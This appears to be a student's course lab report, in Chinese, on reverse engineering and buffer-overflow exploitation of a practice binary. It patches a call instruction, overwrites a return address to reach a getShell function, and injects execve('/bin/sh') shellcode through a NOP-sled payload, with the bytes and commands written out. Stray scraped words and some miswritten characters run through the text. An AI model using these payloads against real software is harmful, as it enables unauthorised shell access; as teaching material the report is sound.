20155308《網絡攻防》 Exp1 PC平臺逆向破解(5)M

20155308《網絡攻防》 Exp1 PC平臺逆向破解(5)M

逆向及Bof基礎實踐說明

1.1 實踐目標

  1. 本次實踐的對象是一個名爲pwn1的linux可執行文件。
  2. 該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。
  3. 該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。
  • 三個實踐內容
  1. 手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。
  2. 利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。
  3. 注入一個本身製做的shellcode並運行這段shellcode。
  • 思路
  1. 運行本來不可訪問的代碼片斷
  2. 強行修改程序執行流
  3. 以及注入運行任意代碼。

1.2 基礎知識

  • Linux基本操做
    參考網頁

https://www.cnblogs.com/crazylqy/p/5818745.htmlhtml

http://blog.csdn.net/zl_best/article/details/53504712linux

  • Bof的原理

緩衝區溢出是一種很是廣泛、很是危險的漏洞,在各類操做系統、應用軟件中普遍存在。利用緩衝區溢出攻擊,能夠致使程序運行失敗、系統宕機、從新啓動等後果。更爲嚴重的是,能夠利用它執行非受權指令,甚至能夠取得系統特權,進而進行各類非法操做。shell

攻擊原理:windows

經過往程序的緩衝區寫超出其長度的內容,形成緩衝區的溢出,從而破壞程序的堆棧,形成程序崩潰或使程序轉而執行其它指令,以達到攻擊的目的。形成緩衝區溢出的緣由是程序中沒有仔細檢查用戶輸入的參數。例以下面程序:網絡

void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}

上面的strcpy()將直接把str中的內容copy到buffer中。這樣只要str的長度大於16,就會形成buffer的溢出,使程序運行出錯。存在象strcpy這樣的問題的標準函數還有strcat(),sprintf(),vsprintf(),gets(),scanf()等。函數

固然,隨便往緩衝區中填東西形成它溢出通常只會出現「分段錯誤」(Segmentation fault),而不能達到攻擊的目的。最多見的手段是經過製造緩衝區溢出使程序運行一個用戶shell,再經過shell執行其它命令。若是該程序有root或者suid執行權限的話,攻擊者就得到了一個有root權限的shell,能夠對系統進行任意操做了。工具

  • 會使用gdb,vi

參考網頁學習

http://blog.csdn.net/luoying198791/article/details/20715499ui

實踐一:直接修改程序機器指令,改變程序執行流程

  • 知識要求:Call指令,EIP寄存器,指令跳轉的偏移計算,補碼,反彙編指令objdump,十六進制編輯工具
  • 學習目標:理解可執行文件與機器指令
  • 進階:掌握ELF文件格式,掌握動態技術

實驗過程:操作系統

  1. 首先進行文件的拷貝,防止出現操做錯誤,使得源文件被改變。

  1. 經過objdump -d pwn1_20155308命令對文件進行反彙編。

  1. 關注這幾個部分

  1. 經過命令vi pwn1_20155308編輯文件,經過命令:%! xxd把文件轉爲十六進制編輯模式

  1. 經過命令/d7ff查找要修改的內容

main函數調用foo,對應機器指令爲「 e8 d7ffffff」,
那咱們想讓它調用getShell,只要修改「d7ffffff」爲,"getShell-80484ba"對應的補碼就行。
用Windows計算器,直接 47d-4ba就能獲得補碼,是c3ffffff。

  1. 輸入i進入編輯模式,即把d7爲c3
  2. 輸入命令:%! xxd -r將文件轉回至二進制形式
  3. 輸入:wq保存並退出
  4. 經過objdump -d pwn1_20155308命令對文件進行反彙編,觀察到程序已從原來跳轉至foo函數變爲跳轉至getshell函數

實驗結果:

實踐二;經過構造輸入參數,形成BOF攻擊,改變程序執行流

  • 知識要求:堆棧結構,返回地址 學習目標:理解攻擊緩衝區的結果,掌握返回地址的獲取 進階:掌握ELF文件格式,掌握動態技術

反彙編,瞭解程序的基本功能

objdump -d pwn1 | more

注意這個函數getShell,咱們的目標是觸發這個函數

該可執行文件正常運行是調用以下函數foo,這個函數有Buffer overflow漏洞

這裏讀入字符串,但系統只預留了__字節的緩衝區,超出部分會形成溢出,咱們的目標是覆蓋返回地址

上面的call調用foo,同時在堆棧上壓上返回地址值:++80484ba++

如今咱們須要確認輸入的字符串哪幾個字符會覆蓋到返回地址

輸入命令gdb pwn2_20155308進行調試

經過命令r進行運行,經過命令info r可查看各寄存器的值



若是輸入字符串1111111122222222333333334444444412345678,那 1234 那四個數最終會覆蓋到堆棧上的返回地址,進而CPU會嘗試運行這個位置的代碼。那隻要把這四個字符替換爲 getShell 的內存地址,輸給pwn1,pwn1就會運行getShell。

確認用什麼值來覆蓋返回地址

getShell的內存地址,經過反彙編時能夠看到,即0804847d。

接下來要確認下字節序,簡單說是輸入11111111222222223333333344444444\x08\x04\x84\x7d,仍是輸入11111111222222223333333344444444\x7d\x84\x04\x08。

對比以前 ==eip 0x34333231 0x34333231== ,正確應用輸入 ==11111111222222223333333344444444\x7d\x84\x04\x08==。

構造輸入字符串

由爲咱們無法經過鍵盤輸入\x7d\x84\x04\x08這樣的16進制值,因此先生成包括這樣字符串的一個文件。\x0a表示回車,若是沒有的話,在程序運行時就須要手工按一下回車鍵。

實踐三:注入Shellcode並執行

  • shellcode就是一段機器指令(code)
    一般這段機器指令的目的是爲獲取一個交互式的shell(像linux的shell或相似windows下的cmd.exe),
    因此這段機器指令被稱爲shellcode。
    在實際的應用中,凡是用來注入的機器指令段都通稱爲shellcode,像添加一個用戶、運行一條指令。
    --

最基本的shellcode的編寫可參考許同窗的文章Shellcode入門,寫得很是之清楚詳實。如下實踐即便用該文章中生成的shellcode。以下:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

準備工做

◦輸入命令execstack -s pwn1
設置堆棧可執行。可是系統提示「未找到命令」,則應輸入命令apt-get install execstack進行安裝。系統會提示產生一下錯誤,我上網尋找了答案,應該輸入如下命令給它管理員權限。


以後根據命令輸入。

構造要注入的payload

  • Linux下有兩種基本構造攻擊buf的方法:
  1. retaddr+nop+shellcode
  2. nop+shellcode+retaddr。

-由於retaddr在緩衝區的位置是固定的,shellcode要不在它前面,要不在它後面。

簡單說緩衝區小就把shellcode放後邊,緩衝區大就把shellcode放前邊

-咱們這個buf夠放這個shellcode了。
結構爲:nops+shellcode+retaddr。
nop一爲是了填充,二是做爲「着陸區/滑行區」。
咱們猜的返回地址只要落在任何一個nop上,天然會滑到咱們的shellcode。

root@KaliYL:~# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

接下來咱們來肯定\x4\x3\x2\x1到底該填什麼。

個人這個部分在文檔裏忽然出錯,而後怎麼解決都沒有解決,因此我到桌面上繼續進行這個方面的實踐。

打開一個終端注入這段攻擊buf:

(cat input_shellcode;cat) | ./pwn1_20155308

再開另一個終端,用gdb來調試pwn1這個進程。

注意運行時的這個地址


計算出地址應爲0xffffd300

再次攻擊,成功了!!

感想

本次實驗是關於PC平臺逆向破解的實驗,在課堂上老師已經對本次實驗進行了講解,而且咱們在課堂上已經實現了一部分,因此感受課下的工做並非很難。 經過本次實驗,我對於本課的知識有了必定的瞭解,而且以爲若是想要學好這門課,必定要作好課上認真聽講,課下進行實踐。

相關文章
相關標籤/搜索